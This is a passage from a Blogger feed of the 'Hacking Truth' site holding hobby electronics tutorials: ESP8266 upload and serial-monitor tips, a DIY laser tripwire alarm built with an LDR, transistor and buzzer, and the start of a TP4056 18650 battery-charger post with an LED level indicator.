&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;Steps&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Upload code&lt;/div&gt;&lt;div&gt;Open Tools → Serial Monitor&lt;/div&gt;&lt;div&gt;Set baud rate 115200&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;You will see:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;ESP8266 IP Address: 192.168.1.45&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;👉 Open on phone browser:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;http://192.168.1.45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Otherwise you can in computet or system that connected to the same wifi network and type in cmd &lt;b&gt;ipconfig&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;b&gt;⚠️ Common Upload Error Fix (NodeMCU)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If upload fails:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Hold FLASH button&lt;/li&gt;&lt;li&gt;Click Upload&lt;/li&gt;&lt;li&gt;Release FLASH when uploading starts&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;How to Check:&lt;/h4&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;# Look at the top-right corner of the Arduino IDE.&lt;/li&gt;&lt;li&gt;# If the Serial Monitor is open, you’ll see a window titled “Serial Monitor” (it looks like a terminal).&lt;/li&gt;&lt;li&gt;# Simply close that window by clicking the X at the top-right of it.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Shortcut&lt;/b&gt;:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can also close it by clicking:&lt;/div&gt;&lt;div&gt;Tools &amp;gt; Serial Monitor (clicking it toggles it closed if it&#39;s open)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Why it matters:&lt;/h4&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The Serial Monitor uses the COM port, so if it’s open, uploading code will fail with errors like the one you got.&lt;/div&gt;&lt;div&gt;Try closing it and then upload your code again.&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;4334138854&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;span face=&quot;&amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif&quot; style=&quot;background-color: white; color: #505050; font-size: 15px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span face=&quot;&amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif&quot; style=&quot;background-color: white; color: #505050; font-size: 15px;&quot;&gt;&lt;b&gt;Lets begin the test - For Live Visualization - &lt;u&gt;&lt;a href=&quot;https://www.instagram.com/reel/DUGEoXOkiEF/?utm_source=ig_web_copy_link&amp;amp;igsh=MzRlODBiNWFlZA==&quot; target=&quot;_blank&quot;&gt;CLICK HERE&amp;nbsp;&lt;/a&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;h4 style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; font-family: &amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif; font-size: 18px; line-height: 26px; margin: 0px 0px 15px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/h4&gt;&lt;h4 style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; font-family: &amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif; font-size: 18px; line-height: 26px; margin: 0px 0px 15px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Disclaimer&lt;/h4&gt;&lt;p style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.&lt;/p&gt;&lt;p style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/7096420659273846886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2026/02/esp8266-ir-sensor-counter-with-wi-fi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/7096420659273846886'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/7096420659273846886'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2026/02/esp8266-ir-sensor-counter-with-wi-fi.html' title='ESP8266 IR Sensor Counter with Wi-Fi Logging'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgviPPL1OQDba3reHJWLLRL8S5BXQCQJqCVV9QJFFY82ZA0sdlV66IN2iLTosAQGUMrEG24JM7pZuS5kLjk0VpOLcxwZwE7OO6f-BPQ-fOGQ3vmbN8j9xhUTD1tFyxSZ9KIS8HxRdyB2FTWjoGWVjhxnmC-OMVvgjc1IM2DQC9wKcjtPWAkiEqm7Fbf7oYj/s72-w640-h426-c/identify%20and%20separate%20all%20visual%20assets%20included%20in%20the%20image.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-3082367672512062215</id><published>2025-09-06T02:42:00.000-07:00</published><updated>2025-09-06T02:42:17.425-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="IoT project"/><title type='text'>DIY Laser Security Alarm System Using Simple Electronics</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;DIY Laser Security Alarm System Using Simple Electronics&quot; border=&quot;0&quot; data-original-height=&quot;2980&quot; data-original-width=&quot;2250&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo8-ta0ju09ArsIckKCzTGpdbGwlF8dL_aYYPvfh6_miPRR_llQ_3Yo7ypc13ann3oyr5JWRLQZk1hAAFSGeMWR9Qd1JVwqVGNd6HZPDIuoyoupGVh2kdmzRlh084xQAc4CRPg78adGitKv6CvhG92XyWF1X82gvNV4BSmohNOjIatMDktvzl6gq1m5wq7/w484-h640/IMG_20250813_162600640.jpg&quot; title=&quot;DIY Laser Security Alarm System Using Simple Electronics&quot; width=&quot;484&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  DIY Laser Security Alarm System Using Simple Electronics
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Are you looking for a fun electronics project that is useful and affordable?
  In this article, we will learn how to build a Laser Security Alarm System at
  home. This project uses a laser diode, light sensor, transistor, and buzzer to
  detect intrusions. Whenever someone interrupts the laser beam, the alarm (&lt;i&gt;&lt;b&gt;buzzer &lt;/b&gt;&lt;/i&gt;and &lt;b&gt;&lt;i&gt;LED&lt;/i&gt;&lt;/b&gt;) gets activated.&amp;nbsp;
  &lt;b&gt;&lt;i&gt;laser tripwire alarm, simple electronics&lt;/i&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  This DIY project is a great choice for engineering students, hobbyists, and
  beginners in electronics. It is also an excellent mini project for science
  exhibitions or school/college practicals.&lt;b&gt;&lt;i&gt; laser security system project&lt;/i&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;How Does a Laser Security System Work?&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The working principle is very simple:&lt;/p&gt;
&lt;p&gt;A laser diode continuously emits a red laser beam.&lt;/p&gt;
&lt;p&gt;The beam is pointed at a light sensor (LDR or photodiode).&lt;/p&gt;
&lt;p&gt;As long as the beam falls on the sensor, the circuit remains OFF.&lt;/p&gt;
&lt;p&gt;
  If someone interrupts the laser beam (by passing through it), the sensor
  output changes.
&lt;/p&gt;
&lt;p&gt;
  This change activates a transistor switch, which turns ON a buzzer and LED
  alarm.
&lt;/p&gt;
&lt;p&gt;
  This system is the basic principle behind many real-world laser security
  alarms.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Components Required&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Here is the shopping list for this project:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Laser Diode Module (5V)&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Light Dependent Resistor (LDR) or Photodiode&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Transistor (2N2222 or BC547)&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Resistor (1kΩ, 10kΩ)&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Buzzer (5V)&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; LED (Red/Green for indication)&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; 9V Battery or 18650 Li-ion Cell with Holder&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; On/Off Switch&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# &lt;/b&gt;Connecting Wires and &lt;b&gt;&lt;i&gt;Breadboard &lt;/i&gt;&lt;/b&gt;/ &lt;b&gt;&lt;i&gt;PCB&lt;/i&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Circuit Explanation&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The laser diode is powered using the battery through a switch.&lt;/p&gt;
&lt;p&gt;The LDR receives the laser beam and keeps the transistor OFF.&lt;/p&gt;
&lt;p&gt;
  When the beam is interrupted, the LDR resistance increases, causing the
  transistor to conduct.
&lt;/p&gt;
&lt;p&gt;The buzzer and LED connected to the transistor’s output are turned ON.&lt;/p&gt;
&lt;p&gt;This simple setup creates an effective laser tripwire alarm system.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;DIY Laser Security Alarm System Using Simple Electronics&quot; border=&quot;0&quot; data-original-height=&quot;4000&quot; data-original-width=&quot;2250&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgteygf7p8O0PbfHatvoW58Fw-s0OiUn-ESUY-wMV0wKRPQcqKUh9g5I449wjrdMqQY_oO4Xcto52-u67FmInJdqgcNFYx-6kuo6hNbfoC_q11vOorF4px-8-KRlNuYjj_vPiZMlfruGk52qx8xLtdRAvTE8NWDTejk3dYZsZiAKua_U13VypLh8GqefSs8/w360-h640/IMG_20250906_150509645.jpg&quot; title=&quot;DIY Laser Security Alarm System Using Simple Electronics&quot; width=&quot;360&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-ef+6k-30-ac+ty&quot; data-ad-slot=&quot;1797135423&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Applications of Laser Security System&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Home and office security alarm&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Bank and museum intrusion detection&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Science fair project for students&lt;/p&gt;
&lt;p&gt;&lt;b&gt;# &lt;/b&gt;Garage or door alarm system&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--sep 2025--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;7482111913&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Advantages of This DIY Project&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;# &lt;/b&gt;Low cost and easy to build&lt;/p&gt;
&lt;p&gt;&lt;b&gt;# &lt;/b&gt;Portable and battery powered&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#&lt;/b&gt; Uses commonly available electronic components&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;#&lt;/b&gt; Can be upgraded with Arduino, GSM module, or ESP32 for SMS and IoT
  alerts
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;u&gt;CONTACT FOR PROJECT - 7979974228 / kumaratuljaiswal222@gmail.com&lt;/u&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Conclusion&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Building a DIY Laser Security Alarm System is a practical way to learn
  electronics. It not only improves your skills but also provides a mini working
  model of a real-world security system. With just a laser, LDR, transistor, and
  buzzer, you can design your own laser tripwire alarm at home.&lt;b&gt;&lt;i&gt; laser alarm using LDR, BC547 laser alarm circuit&lt;/i&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  If you want to expand this project, you can add Arduino, ESP32, or GSM modules
  to send SMS or Wi-Fi alerts when the laser beam is interrupted.
&lt;/p&gt;
&lt;p&gt;
  Start simple, and keep upgrading! 🚀
  &lt;i&gt;DIY laser alarm, projects, mini project for students, home security system
    project&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/3082367672512062215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2025/09/diy-laser-security-alarm-system-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/3082367672512062215'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/3082367672512062215'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2025/09/diy-laser-security-alarm-system-using.html' title='DIY Laser Security Alarm System Using Simple Electronics'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo8-ta0ju09ArsIckKCzTGpdbGwlF8dL_aYYPvfh6_miPRR_llQ_3Yo7ypc13ann3oyr5JWRLQZk1hAAFSGeMWR9Qd1JVwqVGNd6HZPDIuoyoupGVh2kdmzRlh084xQAc4CRPg78adGitKv6CvhG92XyWF1X82gvNV4BSmohNOjIatMDktvzl6gq1m5wq7/s72-w484-h640-c/IMG_20250813_162600640.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-666962377575138292</id><published>2025-09-04T02:22:00.000-07:00</published><updated>2025-09-04T02:22:00.818-07:00</updated><title type='text'>DIY TP4056 Battery Charger with 18650 Battery Level Indicator</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;DIY TP4056 Battery Charger with 18650 Battery Level Indicator&quot;
      border=&quot;0&quot;
      data-original-height=&quot;2602&quot;
      data-original-width=&quot;2250&quot;
      height=&quot;640&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCdHa4Y0msEqJnBqgOSu4t_L1G_I59dcFU-2ypLC3yRNXO0R199XyKjIEEmPv2bgJ6k_q-thKwYdifZbhr0wieamtkqoiVXX0o2j-wUTjSe4adNWf0gxuOy1flk3GEcG7_6kuiaeju4Un2GwxUX1fG3u_Z8pY8NqfmsZGytli4GPUz7r8bgVPObs9AH3PJ/w554-h640/IMG_20250901_185614982.jpg&quot;
      title=&quot;DIY TP4056 Battery Charger with 18650 Battery Level Indicator&quot;
      width=&quot;554&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  DIY TP4056 Battery Charger with 18650 Battery Level Indicator
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  If you are looking for a simple &lt;b&gt;&lt;i&gt;DIY &lt;/i&gt;&lt;/b&gt;battery charging circuit
  with a battery level indicator, then this project is perfect for you. Using
  the TP4056 battery charger module and a 3.7V 18650 Li-ion battery, we will
  build a compact and reliable battery charging and monitoring system. This
  project is highly useful for electronics hobbyists, students, and anyone
  interested in learning how to safely charge Li-ion batteries.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;🔹 Components Required&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Here is the shopping list for this project:&lt;/p&gt;
&lt;p&gt;TP4056 Type-C Battery Charger Module with Protection&lt;/p&gt;
&lt;p&gt;18650 Li-ion Battery (3.7V, 2000–2600mAh)&lt;/p&gt;
&lt;p&gt;18650 Battery Holder&lt;/p&gt;
&lt;p&gt;Battery Level Indicator Module (1S, 5 LED display)&lt;/p&gt;
&lt;p&gt;Jumper Wires or Thin Electric Wires&lt;/p&gt;
&lt;p&gt;Soldering Kit (optional, for permanent connections)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  👉 All these components are easily available on Amazon, Flipkart, or local
  electronics shops.
&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- sep 2025 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;7482111913&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔹 Circuit Explanation&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  The TP4056 charger module is designed for charging single-cell Lithium-ion
  batteries (3.7V). It works with a 5V input supply (mobile charger/USB).
&lt;/p&gt;
&lt;p&gt;B+ / B- pins → Connect to the battery terminals&lt;/p&gt;
&lt;p&gt;
  OUT+ / OUT- pins → Connect to the load (here, the battery level indicator)
&lt;/p&gt;
&lt;p&gt;Type-C/USB port → Connect to any 5V power adapter or mobile charger&lt;/p&gt;
&lt;p&gt;
  The Battery Level Indicator module shows the real-time charge status of the
  battery using LEDs.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔹 How It Works&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Plug in mobile charger (5V) → &lt;b&gt;&lt;i&gt;TP4056 &lt;/i&gt;&lt;/b&gt;starts charging the 18650
  battery.
&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;&lt;span style=&quot;color: red;&quot;
      &gt;Red LED ON (TP4056) → Battery is charging.&lt;/span
    &gt;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;span style=&quot;color: #2b00fe;&quot;
    &gt;&lt;b&gt;Blue LED ON (TP4056) → Battery is fully charged (around 4.2V).&lt;/b&gt;&lt;/span
  &gt;
&lt;/p&gt;
&lt;p&gt;The Battery Level Indicator shows charge percentage:&lt;/p&gt;
&lt;p&gt;&lt;b&gt;1 LED&lt;/b&gt; = 20% battery&lt;/p&gt;
&lt;p&gt;&lt;b&gt;3 LEDs&lt;/b&gt; = 60% battery&lt;/p&gt;
&lt;p&gt;&lt;b&gt;5 LEDs&lt;/b&gt; = 100% fully charged&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  👉
  &lt;b
    &gt;&lt;u
      &gt;Note: After unplugging the charger, the indicator may show one bar less
      due to voltage drop. This is normal.&lt;/u
    &gt;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔹 Applications&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;DIY power banks&lt;/p&gt;
&lt;p&gt;Portable electronic devices&lt;/p&gt;
&lt;p&gt;IoT projects&lt;/p&gt;
&lt;p&gt;Educational projects for students&lt;/p&gt;
&lt;p&gt;Backup power supplies&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
